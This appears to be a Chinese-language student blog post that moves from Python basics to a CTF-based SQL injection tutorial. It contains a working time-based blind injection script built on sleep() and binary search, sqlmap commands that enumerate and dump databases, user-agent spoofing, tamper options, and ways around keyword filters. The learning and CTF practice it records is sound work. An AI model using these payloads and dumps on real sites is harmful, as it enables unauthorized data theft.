python语法以及爬虫
其实大体上语法和C/C++或者GO没什么区别,在这里python采用的是依靠缩进
来控制结构。
主要用到的也会在之后细说,或者单独如果我学习python以及爬虫的时候也会顺便整理出来了。
这里简单说一下:
python
#首先就是导入,有时候我们需要导入第三方的工具库,出于各种原因。
import <balabala>
a=1;
b="polystation"
#什么循环、控制、顺序的结构的关键字。
for i=1;i<=10;i++:
if True:
while 1:
首先我们需要下载相关的python环境,可以去其官网下载环境并且添加到设备的环境以来当中:python官网。
我现在的版本并不是最新的,不过已经挺好的了,很多当前项目也不是用最新版开发的。
我们在使用爬虫前需要安装相应的库,其提供了比较完善的工具,加快爬虫开发。
可以使用pip install -i https://pypi.tuna.tsinghua.edu.cn/simple requests
命令尝试一下,如果不行的话可以在网上找相应的教程获取相应命令行。(这里使用的是清华大学的镜像源,应该是)
其实还有其他的库,以及框架,目前我也不太了解,也正在学习当中。以下的内容也会涉及到爬虫相关知识,但不会很深,深入的可能以后会专门讲。
继续来讲注入
布尔盲注
这类就是你查询结果并不会给你返回数据,只告诉你查询到底成不成功,请问阁下应该如何应对?
顺便说一下啊,%2b
也可以代替空格,它是+
的编码。ASCII码可打印字符范围是32到126。
我们来看一个题目,是ctfhub
上面的一道技能树里的一道题:
我们来顺着它的提示来输入一下看看:
他这个返回就很简单,告诉你查询成功了,但是没有返回数据信息。那我们首先来看看到底是什么类型的查询,是字符还是整数型的?
通过以上两个信息的描述来看,排除了字符型注入的可能。它的返回成功与否的标准也应该是如果为真就返回,如果出现语法错误和假等就会返回错误。
于是我又查看了一下报错注入的方法,虽然知道没有什么效果。
那么其实到这里就出现了一个新的思路,因为Mysql等里面是提供了一些它自己支持的比较复杂的判断或者分支语句的,结合sql
基础语法可以完成方法的实践。那就是------猜。
Mysql
内置了的substr()
函数可以将字符串截取出来,结合对其字符的判断,如果正确就会返回真,如果错误就会返回假,通过不断的尝试,可以得到最终的结果。
以下是以上理论的证明:
那么这里就比较需要用到爬虫,或者说是利用爬虫来更快速的(比人工)来得到一些信息了,有些大佬称其为脚本。
虽然一般来说这种代码比较短,但依然要求人员拥有一定水平的编程能力,或者在网上查找现成的代码经过自己定制化的修改进行测试。
这里贴出来一个某位学长的方案:
上面的代码是十分简单的使用python写成的快速测试目标到底当前数据库长度的代码。当然我们完全可以使用其他的语言编写,比如使用GO语言的net
包等。
里面使用了逐元循环
还有python自身的%
格式化字符串,range()
遵循左闭右开的原则。除此之外的格式化字符串方式还有str.format()
函数以及:
下面那个pass
是一个空操作语句,只是为了让句意完整,不会执行任何操作。
当然的,我们计算机是神奇的,代码也是随我们写。
我们可以比较自动化的测试相应字符是否正确,这种盲注的思路就是更多的尝试,虽然也有与之前明确的方向,报字段之类的步骤,但大多数信息都是通过自己试出来的而不是直接给你的。
注意这个代码是运行在cmd
或者终端上面的,而不是运行在python解释器
里面的,不然会报错。
具体代码讲解:这里面使用了一种叫做二分法
的思想,它相比于所谓的直接进行双重循环进行比较在部分情况下要快,关于时间复杂度之类的名词我就不说了。
但是相比于最朴实无华的双重循环依次查找来说,这种无限二分下去的思想和写法要更难以理解一些。代码当中的>>
是位运算符,表示把数向右移动一位(二进制下),造成的效果就是相当于正数发生了除以二并向下取整操作。
但需要注意的是这种等价只适用于非负数。之前我曾经学习过使用二分法进行数字排序,这里并不需要进行排序,我们只需要进行判断然后找到唯一正确的值就可以了。
不断判断中间值相对了目标值的大小,然后依靠返回结果选择进行判断,最终head和tail会相遇成为同一个值,此时跳出内层循环。这里我们默认要判断的字符不会有空格,并且把它当作是一个关键的跳出循环的关键。
可能是我愚钝,觉得上面那个代码写得也不是很好,有以下几个问题欢迎大家指正:
- 仅仅适用于ASCII编码的程度,因为其只有128字符还好说,如果是Unicode就难办了。
- 个人觉得如果
SQL字段
当中存在空格这个可打印字符的话该程序无法正常完成其使命,直接会在那里停止掉。
我要再次强调的是,Mysql
自带的substr
等字符截取函数和php等
编写代码时候使用的sbustr
函数是有区别的,他们的第二个参数起始位置不同。
时间盲注
还有一类则是练错误信息都不会返回给你,但是依然能存在SQL
问题的情况(就是能执行一些函数,客户端校验不完善)。
这种情况和上面那种情况类似,我们通过执行一些能够让我们判断相关信息的函数来达到猜信息的目的。
在Mysql
数据库系统当中确实存在一个sleep()
函数,当你调用它的时候,系统会休眠对应参数时间的秒数。
同时Mysql
还内置了自己的if
语句,形式如下:
mysql
if( 逻辑表达式 , sleep(2) , 1)#如果逻辑表达式为真则执行第二个参数,如果为假则执行第三个参数。
那么按照之前python脚本的逻辑,我们通过修改相关代码,如果我们猜测的字符正确了那就让他睡眠较长时间,通过python的内置库当中记录时间的time.time()
离开返回浮点数形式的秒数,其通常被成为UNIX时间戳(timestamp
)。
这个时间是不停改变的,记录了从纪元以来的秒数。
通过开始时间和返回回应的时间相减,如果大于某个很明显不对的时间,就说明正确了,把字符串记录下来,不断循环下去。基本逻辑是不变的,但是写起来确实不容易。
python
import requests
import time
url = "http://balabala.com/?id="
result = ''
i = 0
while True:
i = i + 1 #游标用于标记当前是几个字符
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
sql = "select flag from flag"
payload = "1 and if(ascii(substr((%s),%d,1)) > %d,sleep(1),0) #" % (sql,i,mid)
start_time = time.time()
r = requests.get(url + payload)
end_time = time.time()
if end_time - start_time > 1:
head = mid + 1
else :
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
同样,以上代码依然拥有一定的漏洞,不过只需要根据实际情况修改即可,正常情况可用。
MYSQL
的区分大小写规则比较混乱(个人认为),需要根据使用的操作系统等有不同的讲究。但在数值 比较的时候,比如where
子句的时候,默认情况下是不区分大小写的,比如如果`A`=`a`进行判断
也是会返回true
。
当然具体大小写区分可以通过操作系统、具体系统配置和使用相关规则与关键字来改变。
讲了自己手写脚本,我们事实上还有前人大佬已经写好的工具可以使用:sqlmap
。
SQLMAP
具体的包可以从其官网上面下载,这并不是秘密的工具,提供给公众使用。
由于本身HTTP的数据请求类型不同,所以根据不同的请求类型需要做相应的改变。
GET型注入
其实这里也有一些流程和步骤,但总的来说还是自动且方便许多的。
首先一步就是通过sqlmap
来查找注入点。
bash
python sqlmap.py -u "http://balabala"
可能会报错,这就有可能是因为python版本不匹配导致的,写成python2
试一试。
这里我们其实可以添加上相应的参数,因为有的时候该工具会请求用户输入,可以在后面或者哪个位置添加--batch
,它可以执行默认操作,不需要请求用户选择。
先是查询所有的数据库名:
bash
python sqlmap.py -u "http://balabala" --dbs --batch
之后是获取表名:
bash
python sqlmap.py -u "http://balabala" -D <填数据库名> --tables --batch
再之后查询列名:
bash
python sqlmap.py -u "http://balabala" -D <数据库名> -T <表明> --columns --batch
之后查询具体表当中的字段,当然这里可以全查或者指定字段。
bash
python sqlmap.py -u "http://bala" -D <> -T <> -C "users,flag" --batch --dump(这个dump似乎是必须的,不然好像不会显示出来信息。)
python sqlmap.py -u "http://bala" -D <> -T <> --btach --dump
或者你可以不去一个个的查,直接:python sqlmap.py -u "balaba" --batch --dump
还有一个参数是--purge
,删除缓存,因为这个工具会使用之前操作的输出作为相应的依据,如果你想删除掉重来的话可以使用。
还有就是,其实我们sqlmap
去访问目标网站也是通过发送请求报文然后解析的,它的报文很简单,也并没有隐藏什么东西。里面的一些字段表明了它就是这个工具发起的,所以很容易被拒绝,这时候我们可能就需要去修改或者设置字段信息来防止拒绝。
顺便说一句,MYSQL
查找东西的时候都会把用户的查询语言,它的关键字转换成大写,这就是为什么大写也可以,小写或者随意大小写都可以识别的原因。
那么在修改请求头相关元数据信息的时候,可以使用--random-agent
参数来绕过,或者自己设置相关信息,使用--user-agent="balabala"
的方式来自己指定。
又是一个重点,那就是,如果可以下一个虚拟机程序或者有钱的话买一个云服务器来运行相关的该脚本。不要用Windows系统来,因为,太慢了......
POST型注入
由于方法不同了,所以也不可以像之前那样子写了。
现在我们采用参数--data
来完成:
bash
python sqlmap.py -u "http://balabala" --data "id=pig" --batch
当然我们还可以通过指定文件的方式来完成:
bash
#首先需要抓包,然后把请求包保存为一个文件,通过指定文件来实现POST传参。并且还可以顺手修改user-agent字段,一举两得。
python sqlmap.py -r eat.txt --batch --dump
Burpsuite
可以进行抓包并且另存为,Yakit
可能是因为不熟悉,没找到相应功能。
然后如果使用虚拟机里面的kali
等系统呢,我们可能需要更改一下下载软件的源,可以把其都用#
注释掉,然后在下面写上:deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
这里涉及到Linux发行版
当中常用的vim
编辑器的使用,很简单,一学就会。这里就不教了,或者如果你喜欢用鼠标操作,可以使用sudo mousepad /etc/apt/sources.list
来进行鼠标操作。
然后如果大家的kali
连不上网的话也可以通过网络上搜索内容求助,这很简单,要从小锻炼。
sqlmap
有超级多的参数可以添加,具体可以搜索相关资料。比如:--cookie "balabala"
另外,sqlmap
还拥有一个工具叫做tamper
。
用法也很相似,但是它提供了超级多的绕过能力,在这里写一个具体的空格绕过功能添加:
bash
python sqlmap.py -u "balabala" --batch --tamper "space2randomblank"
具体的小功能也是有很多可以使用,一些博客都有记载:tamper参数和tamper参数两个博客,当然还是鼓励自己寻找。
来做一个题目:
进入之后是一个简单的登录页面,首先需要判断是什么类型的注入,是字符型还是整数型。
可以试着使用之前的那个比较复杂的查看方式,不过很明显我们的输入并不会真确回显数据,查不出来。
那么这个时候,就需要使用一个简单的判断了。因为不是整数那就是字符型的对吧?而字符型很好辨认,我们可以从这里下手。
很明显了,是字符型注入的干活。并且还得知它竟然可以爆出来错误,这个可以记录一下。现在我们要试着使用以下万能账号或者万能密码,就是那个永真式。但是尝试过之后都是:
然后我们要考虑一下报字段的个数,使用order by
或者union
都是以上的回显(被过滤了)。
那应该是有字符被过滤了,通常我们会考虑过滤了空格。经过修改之后还是没有改变,那我们也并不能确定没有这个过滤,继续对相关关键字进行替换,还有等号等。空格过滤的很好,利用其他URL编码代替依然会被检测,我在网上搜了一下,可以用()
包裹住相关部分代替空格。
这个真的是过滤了很多的东西,包括字符串截取函数substr
也未能幸免,并且and、sleep、~
也被过滤了。并且练&&
也被过滤了,这就很糟糕,那我们只能使用or
了(后来查看别人的过程发现可以使用^
异或连接,这样就会前后两段都执行,这是异或的工作原则)。
眼下这种情况,时间盲注不一定失效,但是sleep失效之后我就不会复杂的了......
布尔盲注不适合这种情况,这个都会回显,并不区分查询成不成功,只要不是有报错就不会出现查询失败。(自认为,当然欢迎大佬指正)
那么剩下的就是报错注入了,也许还有其他方法,也许。
等号可以使用like
子句代替,这个没有被过滤。
这里面需要使用left()和right()
函数来干活,它们没有被过滤,我哭死~
具体过程我就不写了,各位可以根据思路自己试试。下面放图片:
成了!这里是我参考的一篇文章,当然不知一篇我参考了:SQL题解。